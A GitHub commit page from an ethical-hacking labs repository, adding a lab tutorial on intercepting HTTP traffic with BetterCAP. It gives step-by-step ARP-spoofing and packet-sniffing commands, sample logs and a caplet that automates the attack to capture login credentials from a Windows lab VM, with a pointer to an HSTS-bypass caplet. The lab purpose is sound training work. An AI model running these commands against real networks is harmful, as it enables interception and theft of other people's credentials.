forked from Samsar4/Ethical-Hacking-Labs
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
5 changed files
with
151 additions
and
9 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,140 @@ | ||
# Intercepting HTTP Traffic | ||
BetterCAP is a powerful, easily extensible and portable framework written in Go which aims to offer to security researchers, red teamers and reverse engineers an easy to use, all-in-one solution with all the features they might possibly need for performing reconnaissance and attacking WiFi networks, Bluetooth Low Energy devices, wireless HID devices and Ethernet networks. | ||
|
||
<p align="center"> | ||
<img width="30%" src="https://raw.githubusercontent.com/bettercap/media/master/logo.png" /> | ||
</p> | ||
|
||
Bettercap Official Documentation: https://www.bettercap.org/intro/ | ||
|
||
Official Repo: https://github.com/bettercap/bettercap | ||
|
||
### Objectives | ||
* Intercept Traffic and sniff out user credentials from a network | ||
|
||
### Requisites | ||
* Kali Linux virtual machine (Attacker) | ||
* Any Windows virtual machine (Target) | ||
|
||
*** | ||
|
||
## Install BetterCAP | ||
Launch your Kali Linux, open a new Terminal window and type the following commands: | ||
|
||
`apt-get update`<br> | ||
`apt-get install bettercap` | ||
|
||
## BetterCAP modules | ||
To launch the program, type `bettercap` and specify your current network interface: | ||
|
||
`bettercap -iface eth0` | ||
|
||
Type **help** to list all modules available: | ||
|
||
`help` | ||
|
||
 | ||
|
||
The module **events.stream** is **running** by default, this module is enabled by default and is responsible for reporting events (logs, new hosts being found, etc) generated by other modules during the interactive session. Moreover, it can be used to programmatically execute commands when specific events occur. | ||
|
||
**To perform a MITM attack we will use these modules below:** | ||
|
||
module | about | ||
-- | -- | ||
`net.probe` | When activated, this module will send different types of probe packets to each IP in the current subnet in order for the net.recon module to detect them. [[+]](https://www.bettercap.org/modules/ethernet/net.probe/) | ||
`net.recon` | This module is responsible for periodically reading the system ARP table in order to detect new hosts on the network. [[+]](https://www.bettercap.org/modules/ethernet/net.recon/) | ||
`arp.spoof` | This module keeps spoofing selected hosts on the network using crafted ARP packets in order to perform a MITM attack. [[+]](https://www.bettercap.org/modules/ethernet/spoofers/arp.spoof/) | ||
`net.sniff` | This module is a network packet sniffer and fuzzer supporting both BPF syntax and regular expressions for filtering. It is also able to dissect several major protocols in order to harvest credentials. [[+]](https://www.bettercap.org/modules/ethernet/net.sniff/) | ||
|
||
_You can type `help` following with the `module` name to grab some details about:_<br> | ||
 | ||
|
||
|
||
## Setting up the Modules to perform an ARP spoofing | ||
|
||
|
||
1. Start the **prober** module to send different types of probe packets to each IP in the current subnet in order for the **net.recon** module to detect them. _(Note: the prober module may start automatically the net.recon module)._<br><br> | ||
`net.probe on` | ||
|
||
``` | ||
10.0.2.0/24 > 10.0.2.42 » net.probe on | ||
10.0.2.0/24 > 10.0.2.42 » [11:43:32] [sys.log] [inf] net.probe starting net.recon as a requirement for net.probe | ||
10.0.2.0/24 > 10.0.2.42 » [11:43:32] [endpoint.new] endpoint 10.0.2.3 detected as 07:00:27:11:6c:7d . | ||
10.0.2.0/24 > 10.0.2.42 » [11:43:33] [endpoint.new] endpoint 10.0.2.43 detected as 07:00:27:81:d6:f2 . | ||
``` | ||
In my lab, the **10.0.2.43** is my Windows virtual machine, this may differ from your virtual environment. | ||
|
||
2. Start network hosts discovery:<br><br> | ||
`net.recon on` | ||
|
||
* Note: you can type `net.show` to view all the connected clients viewing the IP addresses and MAC addresses. | ||
|
||
3. Set the **arp.spoof** module option **fullduplex** to **true**. When you set to true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail).<br><br> | ||
`set arp.spoof.fullduplex true` | ||
|
||
4. Specify the target to spoof. _(A comma separated list of MAC addresses, IP addresses, IP ranges or aliases to spoof)._<br><br> | ||
`set arp.spoof.targets 10.0.2.43` | ||
|
||
5. Start ARP spoofer:<br><br> | ||
`arp.spoof on` | ||
|
||
``` | ||
10.0.2.0/24 > 10.0.2.42 » [12:03:58] [sys.log] [inf] arp.spoof enabling forwarding | ||
10.0.2.0/24 > 10.0.2.42 » [12:03:58] [sys.log] [war] arp.spoof full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail. | ||
10.0.2.0/24 > 10.0.2.42 » [12:03:58] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets. | ||
``` | ||
|
||
6. Start the packet sniffer:<br><br> | ||
`net.sniff on` | ||
|
||
7. Type `help` to list the modules running:<br><br> | ||
 | ||
|
||
### The ARP spoofing | ||
Bettercap is fooling the **router** and the **target machine(Windows)**, putting the **attacker machine(Kali)** on the middle of the connection. | ||
|
||
 | ||
|
||
**On my Windows** machine, I will use the **arp table command** to see what is going on: | ||
|
||
 | ||
|
||
As you can see, the Windows machine 'thinks' the **router** MAC address is the same as the **Kali** since the ARP table is spoofed. | ||
|
||
|
||
### Generate some generic traffic on the Target machine. | ||
|
||
1. Log into your Windows virtual machine. | ||
2. Launch the browser and type the URL: http://testhtml5.vulnweb.com | ||
3. Login into this vulnerable-testing-website with sample credentials: **user: admin | password: password**. | ||
|
||
### Grabbing and analyzing every request | ||
* Back to your Bettercap on Kali machine and analyze all the requests sent from the Windows. | ||
|
||
 | ||
|
||
As you can see, we captured the credentials sent to the website. Anything that the target machine sent and received will be captured by Kali Linux machine. | ||
|
||
_**Note**: this technique works on HTTP websites not HTTPS. To perform such action you need to bypass the HSTS (HTTP Strict Transport Security). You can perform this technique using Bettercap and [hstshijack](https://github.com/bettercap/caplets/tree/master/hstshijack) caplet._ | ||
|
||
## Automate BetterCAP using Caplets | ||
To be more efficient on your work, you can automate the modules setup part by creating a simple **Caplet file**(file.cap) and adding the commands per line. | ||
|
||
1. Create the caplet:<br><br> | ||
`touch spoof.cap` | ||
|
||
2. Add the commands and save it :<br><br> | ||
`nano spoof.cap` | ||
|
||
```sh | ||
net.probe on | ||
set arp.spoof.fullduplex true | ||
set arp.spoof.targets 10.0.2.5 | ||
arp.spoof on | ||
set net.sniff.local true | ||
net.sniff on | ||
``` | ||
As you can see is the same commands in order that you used previously. | ||
|
||
3. Start the **Bettercap** using the spoof **Caplet** that you created:<br><br> | ||
`bettercap -iface eth0 -caplet spoof.cap` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters